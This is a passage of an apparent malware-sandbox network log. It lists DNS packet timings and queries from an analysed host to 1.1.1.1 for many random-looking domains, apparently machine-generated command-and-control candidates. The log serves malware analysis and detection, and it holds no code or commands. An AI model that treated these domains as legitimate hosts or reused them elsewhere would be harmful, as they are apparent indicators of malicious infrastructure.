Sep 7, 2024 15:36:56.958559036 CEST	53	62323	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:57.070246935 CEST	62406	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:57.312004089 CEST	53	62406	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:57.314639091 CEST	58937	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:57.554332018 CEST	58937	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:57.563601971 CEST	53	58937	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:57.791857958 CEST	53	58937	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:58.914134979 CEST	58310	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:58.984525919 CEST	53	58310	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:58.988159895 CEST	55824	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:59.110908031 CEST	53	55824	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:59.226625919 CEST	61164	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:59.236157894 CEST	53	61164	1.1.1.1	192.168.2.3
Sep 7, 2024 15:36:59.238018990 CEST	63286	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:36:59.246707916 CEST	53	63286	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:00.507972002 CEST	58999	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:00.690553904 CEST	53	58999	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:00.694482088 CEST	55440	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:00.929388046 CEST	55440	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:00.944725037 CEST	53	55440	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:00.944741964 CEST	53	55440	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:01.056138039 CEST	59454	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:01.242513895 CEST	53	59454	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:01.245352030 CEST	56166	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:01.486193895 CEST	53	56166	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:05.023494005 CEST	65311	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:05.186981916 CEST	53	65311	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:05.190797091 CEST	50325	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:05.441154957 CEST	53	50325	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:05.555108070 CEST	63600	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:05.822154045 CEST	63600	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:05.829432011 CEST	53	63600	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:05.829446077 CEST	53	63600	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:05.831479073 CEST	59442	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:05.994043112 CEST	53	59442	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.242945910 CEST	56164	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.492330074 CEST	53	56164	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.492510080 CEST	56164	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.500299931 CEST	53	56164	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.510132074 CEST	60921	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.517256975 CEST	53	60921	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.632882118 CEST	56246	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.663517952 CEST	53	56246	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.666184902 CEST	62150	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.677498102 CEST	53	62150	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.789793015 CEST	56536	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.804254055 CEST	53	56536	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.806539059 CEST	65103	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:07.817924023 CEST	53	65103	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:07.930742025 CEST	56130	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:08.097449064 CEST	53	56130	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:08.099911928 CEST	64232	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:08.270716906 CEST	53	64232	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:10.705826998 CEST	50401	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:10.944920063 CEST	50401	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:10.959686995 CEST	53	50401	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:10.961062908 CEST	53	50401	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:10.988043070 CEST	50012	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:11.161230087 CEST	53	50012	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:14.867784023 CEST	50161	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.135397911 CEST	50161	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.167073011 CEST	53	50161	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.167649984 CEST	53	50161	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.206281900 CEST	49488	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.241955996 CEST	53	49488	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.351794958 CEST	61981	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.359386921 CEST	53	61981	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.363281012 CEST	55170	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.375144005 CEST	53	55170	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.492177963 CEST	56534	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.523610115 CEST	53	56534	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.533962965 CEST	61694	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.577400923 CEST	53	61694	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.679842949 CEST	51278	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:15.776705027 CEST	53	51278	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:15.780270100 CEST	65531	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:16.019558907 CEST	53	65531	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:16.144141912 CEST	54972	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:16.242765903 CEST	53	54972	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:16.244820118 CEST	63683	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:16.496495962 CEST	63683	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:16.584140062 CEST	53	63683	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:16.584774017 CEST	53	63683	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:16.695590973 CEST	50730	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:16.960882902 CEST	50730	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:17.047362089 CEST	53	50730	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:17.047388077 CEST	53	50730	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:17.049788952 CEST	61616	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:17.060600042 CEST	53	61616	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:18.351584911 CEST	57976	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:18.617362976 CEST	57976	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:18.646138906 CEST	53	57976	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:18.646157026 CEST	53	57976	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:18.648444891 CEST	51359	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:18.657990932 CEST	53	51359	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:21.070900917 CEST	55868	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:21.083781004 CEST	53	55868	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:21.088061094 CEST	64413	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:21.285568953 CEST	53	64413	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:22.572748899 CEST	62936	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:22.747275114 CEST	53	62936	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:22.768609047 CEST	61785	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:22.943078041 CEST	53	61785	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:23.057959080 CEST	56459	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:23.241286993 CEST	53	56459	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:23.245412111 CEST	57838	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:23.476984024 CEST	53	57838	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:27.024743080 CEST	63999	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:27.166749954 CEST	53	63999	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:27.188294888 CEST	62436	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:27.444996119 CEST	62436	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:27.469501972 CEST	53	62436	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:27.469542980 CEST	53	62436	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:28.773986101 CEST	57460	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:28.817186117 CEST	53	57460	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:28.833298922 CEST	55434	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:28.869426966 CEST	53	55434	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:28.976587057 CEST	64693	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:28.995070934 CEST	53	64693	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:28.999784946 CEST	60516	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:29.271255970 CEST	60516	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:29.271692038 CEST	53	60516	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:29.278945923 CEST	53	60516	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:30.539762020 CEST	61763	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:30.723506927 CEST	53	61763	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:30.728709936 CEST	57938	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:30.915128946 CEST	53	57938	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:32.151479959 CEST	61482	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:32.414316893 CEST	61482	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:32.428117990 CEST	53	61482	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:32.430016994 CEST	53	61482	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:32.447379112 CEST	56799	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:32.688455105 CEST	53	56799	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:32.804791927 CEST	49698	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:33.070218086 CEST	49698	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:33.089704990 CEST	53	49698	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:33.089719057 CEST	53	49698	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:33.092209101 CEST	50107	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:33.127713919 CEST	53	50107	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:34.413995028 CEST	62741	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:34.488780975 CEST	53	62741	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:34.492377996 CEST	61789	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:34.555130959 CEST	53	61789	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:34.664113045 CEST	51997	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:34.755011082 CEST	53	51997	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:34.757158041 CEST	57207	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:34.992266893 CEST	57207	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:35.306989908 CEST	53	57207	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:35.307142973 CEST	53	57207	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:35.415749073 CEST	53535	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:35.425617933 CEST	53	53535	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:35.450012922 CEST	59225	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:35.461231947 CEST	53	59225	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:35.570264101 CEST	61007	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:35.804574013 CEST	53	61007	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:35.808367968 CEST	60681	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:35.981951952 CEST	53	60681	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.085978031 CEST	56771	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.193051100 CEST	53	56771	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.195385933 CEST	60826	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.432676077 CEST	53	60826	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.539074898 CEST	60410	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.682975054 CEST	53	60410	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.685086966 CEST	57136	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.723067045 CEST	53	57136	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.838608027 CEST	60502	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.849231005 CEST	53	60502	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:36.854924917 CEST	53504	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:36.864341974 CEST	53	53504	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:38.188143015 CEST	51589	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:38.420137882 CEST	53	51589	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:38.483095884 CEST	61413	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:38.742445946 CEST	61413	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:38.775645971 CEST	53	61413	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:38.778309107 CEST	53	61413	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:38.883394003 CEST	53299	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:38.979233027 CEST	53	53299	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:38.982351065 CEST	53874	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:39.081104994 CEST	53	53874	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:42.571883917 CEST	62501	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:42.737711906 CEST	53	62501	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:42.795030117 CEST	57153	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:42.956296921 CEST	53	57153	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:43.055358887 CEST	57577	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:43.318571091 CEST	53	57577	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:43.346254110 CEST	56847	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:43.523291111 CEST	53	56847	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.274811029 CEST	61899	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.434751034 CEST	53	61899	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.503232956 CEST	51231	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.680347919 CEST	53	51231	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.789700031 CEST	64373	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.813241959 CEST	53	64373	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.819061041 CEST	51570	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.827653885 CEST	53	51570	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.930182934 CEST	55447	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.939918995 CEST	53	55447	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:45.944263935 CEST	49676	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:45.982871056 CEST	53	49676	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:46.085993052 CEST	53883	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:46.257740974 CEST	53	53883	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:46.259809017 CEST	65128	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:46.422454119 CEST	53	65128	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:48.829310894 CEST	53648	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:49.013833046 CEST	53	53648	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:49.018682957 CEST	58408	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:49.257594109 CEST	58408	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:49.267657995 CEST	53	58408	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:49.267672062 CEST	53	58408	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:52.805083990 CEST	62157	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:52.852118969 CEST	53	62157	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:52.854727983 CEST	57347	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:53.101277113 CEST	57347	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:53.108170033 CEST	53	57347	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:53.138642073 CEST	53	57347	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:53.773926020 CEST	63163	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.024019003 CEST	63163	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.049421072 CEST	53	63163	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.049439907 CEST	53	63163	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.051827908 CEST	51951	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.069283009 CEST	53	51951	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.165100098 CEST	56624	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.196952105 CEST	53	56624	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.202974081 CEST	53397	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.249034882 CEST	53	53397	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.351751089 CEST	61784	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.448829889 CEST	53	61784	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.451472044 CEST	54262	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.692843914 CEST	53	54262	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.789252043 CEST	58259	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.796351910 CEST	53	58259	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:54.799510956 CEST	55993	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:54.901262045 CEST	53	55993	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:55.009727001 CEST	59846	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:55.019459009 CEST	53	59846	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:55.022922993 CEST	58810	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:55.288650990 CEST	58810	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:55.297687054 CEST	53	58810	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:55.297713041 CEST	53	58810	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:56.558234930 CEST	51056	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:56.574698925 CEST	53	51056	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:56.586287975 CEST	51374	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:56.851383924 CEST	51374	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:56.939601898 CEST	53	51374	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:56.939619064 CEST	53	51374	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:59.351511955 CEST	64352	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:59.521019936 CEST	53	64352	1.1.1.1	192.168.2.3
Sep 7, 2024 15:37:59.783140898 CEST	52150	53	192.168.2.3	1.1.1.1
Sep 7, 2024 15:37:59.953196049 CEST	53	52150	1.1.1.1	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 7, 2024 15:33:55.591943979 CEST	192.168.2.3	1.1.1.1	0x4e57	Standard query (0)	gmomhogqcqo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:56.084733963 CEST	192.168.2.3	1.1.1.1	0x6fc7	Standard query (0)	gmomhogqcqo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:56.227324009 CEST	192.168.2.3	1.1.1.1	0xfe8d	Standard query (0)	gcqiwuurhamq.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:56.299889088 CEST	192.168.2.3	1.1.1.1	0xbd94	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.288883924 CEST	192.168.2.3	1.1.1.1	0xbd94	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:57.864247084 CEST	192.168.2.3	1.1.1.1	0x2e9c	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:58.866853952 CEST	192.168.2.3	1.1.1.1	0x2e9c	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:33:59.882415056 CEST	192.168.2.3	1.1.1.1	0x2e9c	Standard query (0)	utbidet-ugeas.biz	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.711277962 CEST	192.168.2.3	1.1.1.1	0x656d	Standard query (0)	qhncbseaikqo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:00.885015011 CEST	192.168.2.3	1.1.1.1	0x1c17	Standard query (0)	qhncbseaikqo.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:01.039199114 CEST	192.168.2.3	1.1.1.1	0x1461	Standard query (0)	msqnej.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:02.195631981 CEST	192.168.2.3	1.1.1.1	0x48c0	Standard query (0)	qsmnhmikgb.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:03.501929998 CEST	192.168.2.3	1.1.1.1	0xc38f	Standard query (0)	muizcaelkbpus.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.666685104 CEST	192.168.2.3	1.1.1.1	0x2cde	Standard query (0)	ssgum.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.747405052 CEST	192.168.2.3	1.1.1.1	0xa6d3	Standard query (0)	ssgum.cg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.898727894 CEST	192.168.2.3	1.1.1.1	0x9160	Standard query (0)	daqpka.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:04.918744087 CEST	192.168.2.3	1.1.1.1	0x8932	Standard query (0)	daqpka.kr	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.305258036 CEST	192.168.2.3	1.1.1.1	0x96cc	Standard query (0)	bgrauma.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.469660044 CEST	192.168.2.3	1.1.1.1	0x48a4	Standard query (0)	bgrauma.tk	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.743639946 CEST	192.168.2.3	1.1.1.1	0x96fa	Standard query (0)	uesvxrdym.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:05.978290081 CEST	192.168.2.3	1.1.1.1	0x6e6f	Standard query (0)	uesvxrdym.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.336180925 CEST	192.168.2.3	1.1.1.1	0x9519	Standard query (0)	taesmoqeisc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.374193907 CEST	192.168.2.3	1.1.1.1	0x411a	Standard query (0)	taesmoqeisc.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:06.541455984 CEST	192.168.2.3	1.1.1.1	0xc734	Standard query (0)	haofpecu.vg	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:07.711765051 CEST	192.168.2.3	1.1.1.1	0x46eb	Standard query (0)	ipemvw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:07.915863991 CEST	192.168.2.3	1.1.1.1	0x636d	Standard query (0)	ipemvw.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:08.354717970 CEST	192.168.2.3	1.1.1.1	0x9e1e	Standard query (0)	kwdscx.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:09.496428967 CEST	192.168.2.3	1.1.1.1	0xbb2	Standard query (0)	lhorellqnmqnh.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:09.543874025 CEST	192.168.2.3	1.1.1.1	0xc409	Standard query (0)	lhorellqnmqnh.rw	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:09.773559093 CEST	192.168.2.3	1.1.1.1	0x5251	Standard query (0)	yamijoovw.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:10.899065971 CEST	192.168.2.3	1.1.1.1	0x7e8a	Standard query (0)	wrrfiqelyzq.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:12.070419073 CEST	192.168.2.3	1.1.1.1	0x2941	Standard query (0)	cmujuqlmdkg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:12.405172110 CEST	192.168.2.3	1.1.1.1	0xc9d6	Standard query (0)	cmujuqlmdkg.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:12.711271048 CEST	192.168.2.3	1.1.1.1	0x2a1c	Standard query (0)	ecumwls.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:13.048008919 CEST	192.168.2.3	1.1.1.1	0x7165	Standard query (0)	ecumwls.mp	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:13.398983955 CEST	192.168.2.3	1.1.1.1	0xb60c	Standard query (0)	fyuciecxgldyb.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:14.555351019 CEST	192.168.2.3	1.1.1.1	0x7d32	Standard query (0)	cwgbto.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:14.732665062 CEST	192.168.2.3	1.1.1.1	0xa26d	Standard query (0)	cwgbto.cm	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:15.008462906 CEST	192.168.2.3	1.1.1.1	0x43f0	Standard query (0)	vcmiwoi.ws	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.180350065 CEST	192.168.2.3	1.1.1.1	0x24a4	Standard query (0)	nnwivnbqu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.192759037 CEST	192.168.2.3	1.1.1.1	0xb756	Standard query (0)	nnwivnbqu.nu	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.304986000 CEST	192.168.2.3	1.1.1.1	0x5a52	Standard query (0)	iftwbsbhi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.342518091 CEST	192.168.2.3	1.1.1.1	0x6c41	Standard query (0)	iftwbsbhi.st	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:34:16.496365070 CEST	192.168.2.3	1.1.1.1	0x2f7b	Standard query (0)	imctsikhqfmox.st	A (IP address)	IN (0x0001)	false
